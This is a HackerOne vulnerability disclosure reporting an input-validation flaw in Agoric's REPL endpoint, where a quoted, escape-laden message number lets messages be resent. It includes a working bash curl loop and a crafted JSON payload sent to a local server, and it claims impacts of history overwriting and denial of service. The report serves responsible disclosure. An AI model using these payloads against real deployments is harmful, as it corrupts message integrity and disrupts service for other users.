Lucene search

K
hackeroneSickcodesH1:981357
HistorySep 13, 2020 - 8:36 p.m.

Agoric: Improper Input Validation allows an attacker to "double spend" or "respend", violating the integrity of the message command history or causing DoS

2020-09-1320:36:42
sickcodes
hackerone.com
20

Summary:

Improper Input Validation allows an attacker to “double spend” or “respend”, violating the integrity of the message command history or causing DoS

Steps To Reproduce:

I was curling random integers and found that I could do the following:

{"type":"doEval","number":500,"body":"test"}
{"type":"doEval","number":501,"body":"test"}
{"type":"doEval","number":"501\"","body":"test"}

If I quote the integer and add an escaped \" , then I could send the number 500 again

{"type":"doEval","number":500","body":"test"}

Let me know if this is an intended mechanism or not, but to be clear, here are the numbers:
502, 512, 522, “522"”, 502, 512, 522, “522"”, 502, 512, 522, “522"”

The test below is in the video:

# create an array of numbers I want to send twice
FAKE_INT=(
502
512
522
'"522\""'
512
522
'"522\""'
512
522
'"522\""'
512
522
'"522\""'
522
'"522\""'
502
)

REPL_STRING='GWhZto7qBseiU7ihRSQvNHORwx4FJ7xDztFsogKjP%2FwdN1q3rQWSreoGMUC%2FVql9'

# just keep cycling thru the numbers above
while true; do 
    for FI in "${FAKE_INT[@]}"; do
        curl "http://127.0.0.1:8000/private/repl?accessToken=${REPL_STRING}" \
        -H 'Connection: keep-alive' \
        -H 'Pragma: no-cache' \
        -H 'Cache-Control: no-cache' \
        -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36' \
        -H 'Content-Type: application/json' \
        -H 'Accept: */*' \
        -H 'Origin: http://127.0.0.1:8000' \
        -H 'Sec-Fetch-Site: same-origin' \
        -H 'Sec-Fetch-Mode: cors' \
        -H 'Sec-Fetch-Dest: empty' \
        -H 'Referer: http://127.0.0.1:8000/' \
        -H 'Accept-Language: en-US,en;q=0.9' \
        --data-raw "{\"type\":\"doEval\",\"number\":${FI},\"body\":\"test\"}"
        echo
    done
done

On the other hand, a normal sequence would look like this:

FAKE_INT=(
502
512
522
523
524
)

After 524, none of the others can be sent.
Unless you send any arbitrary integeter, quoted “1"”
Then you can start at 1 again.

Video shows two things:

Ability to send the same message twice.

The client message queue evaluating the double spent messages again and again (6 minute mark).

Here’s a long number that, correct me if I’m wrong, shouldn’t be possible?

curl 'http://127.0.0.1:8000/private/repl?accessToken=GWhZto7qBseiU7ihRSQvNHORwx4FJ7xDztFsogKjP%2FwdN1q3rQWSreoGMUC%2FVql9'   -H 'Connection: keep-alive'   \
-H 'Pragma: no-cache'   \
-H 'Cache-Control: no-cache'   \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'   \
-H 'Content-Type: application/json'   \
-H 'Accept: */*'  \
-H 'Origin: http://127.0.0.1:8000'   \
-H 'Sec-Fetch-Site: same-origin'   \
-H 'Sec-Fetch-Mode: cors'   \
-H 'Sec-Fetch-Dest: empty'  \
-H 'Referer: http://127.0.0.1:8000/'   \
-H 'Accept-Language: en-US,en;q=0.9' \
--data-binary '{"type":"doEval","number":"550\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"","body":""}'

Supporting Material/References:

Video attached
Screenshot attached

At the 6:05 minute mark, you will see some odd behaviour on the history dashboard:

<div>
    <div>
        <div></div>
        <div></div>
    </div>
    <div>
        <div></div>
        <div></div>
    </div>
    <div>
        <div>command[522]</div>
        <div>test</div>
    </div>
    <div>
        <div></div>
        <div></div>
    </div>
    <div>
        <div>history[522]</div>
        <div>undefined</div>
    </div>
...
  <div>
        <div></div>
        <div></div>
    </div>
    <div>
        <div></div>
        <div></div>
    </div>

Apologies for the video size, it would be pretty blurry otherwise.

Impact

Overwrite historical messages.
Fake chain history.
Cause a different message to show up, and then change.
Denial of Service by sending the msg history into an inescapable loop.